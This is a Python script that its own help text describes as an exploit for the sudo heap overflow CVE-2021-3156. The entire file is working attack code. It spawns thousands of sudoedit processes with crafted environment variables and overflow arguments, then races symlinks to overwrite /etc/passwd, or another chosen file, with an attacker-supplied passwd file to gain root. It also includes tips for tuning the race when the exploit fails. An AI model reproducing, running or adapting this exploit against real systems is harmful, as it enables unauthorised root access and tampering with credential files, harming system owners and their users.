text: #!/usr/bin/env python3
  import os
  import sys
  import pwd
  import time
  import argparse
  
  
  class Exploit(object):
      username = ''
      size = 0
      data = ''
  
      def __init__(self, source, target, sleep):
          self.sleep = sleep
          self.source = source
          self.target = target
  
      @staticmethod
      def readFile(path):
          return open(path, 'r').read()
  
      @staticmethod
      def getUser():
          return pwd.getpwuid(os.getuid())[0]
  
      @staticmethod
      def getSize(path):
          return os.stat(path).st_size
  
      def main(self):
          self.username = self.getUser()
          self.data = self.readFile(self.source)
          self.size = self.getSize(self.target)
          environ = {
              '\n\n\n\n\n': '\n' + self.data,
              'SUDO_ASKPASS': '/bin/false',
              'LANG': 'C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
              'A': 'A' * 0xffff
          }
          for i in range(5000):
              directory = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAA00000000000000000000000000%08d' % i
              overflow = '11111111111111111111111111111111111111111111111111111111%s' % directory
  
              if os.path.exists(directory):
                  sys.stdout.write('file exists %s\n' % directory)
                  continue
  
              child = os.fork()
              os.environ = environ
              if child:
                  sys.stdout.write('[+] parent %d \n' % i)
                  sys.stdout.flush()
                  time.sleep(self.sleep)
                  if not os.path.exists(directory):
                      try:
                          os.mkdir(directory, 0o700)
                          os.symlink(self.target, '%s/%s' % (directory, self.username))
                          os.waitpid(child, 0)
                      except:
                          continue
              else:
                  sys.stdout.write('[+] child %d \n' % i)
                  sys.stdout.flush()
                  os.setpriority(os.PRIO_PROCESS, 0, 20)
                  os.execve(
                      path='/usr/bin/sudoedit',
                      argv=[
                          '/usr/bin/sudoedit',
                          '-A',
                          '-s',
                          '\\',
                          overflow
                      ],
                      env=environ
                  )
                  sys.stdout.write('[!] execve failed\n')
                  sys.stdout.flush()
                  os.abort()
                  break
  
              if self.size != self.getSize(self.target):
                  sys.stdout.write('[*] success at iteration %d \n' % i)
                  sys.stdout.flush()
                  break
          
          sys.stdout.write("""
              \nConsider the following if the exploit fails:
              \n\t(1) If all directories are owned by root then sleep needs to be decreased.
              \n\t(2) If they're all owned by you, then sleep needs increased.""")
  
  
  if __name__ == '__main__':
      parser = argparse.ArgumentParser(
          add_help=True,
          description='* Sudo Privilege Escalation / Heap Overflow - CVE-2021-3156 *'
      )
      try:
          parser.add_argument('-s','--source', action='store', help='Path to malicious "passwd" file to overwrite the target')
          parser.add_argument('-t', '--target', action='store', help='Target file path to be overwritten (default: /etc/passwd)')
          parser.add_argument('-sl','--sleep', action='store', help='Sleep setting for forked processes (default: 0.01 seconds)')
          parser.set_defaults(target='/etc/passwd', sleep='0.01')
  
          options = parser.parse_args()
          if options.source is None:
              parser.print_help()
              sys.exit(1)
  
          exp = Exploit(
              source=options.source,
              target=options.target,
              sleep=float(options.sleep)
          )
          exp.main()
      
      except Exception as err:
          sys.stderr.write(str(err))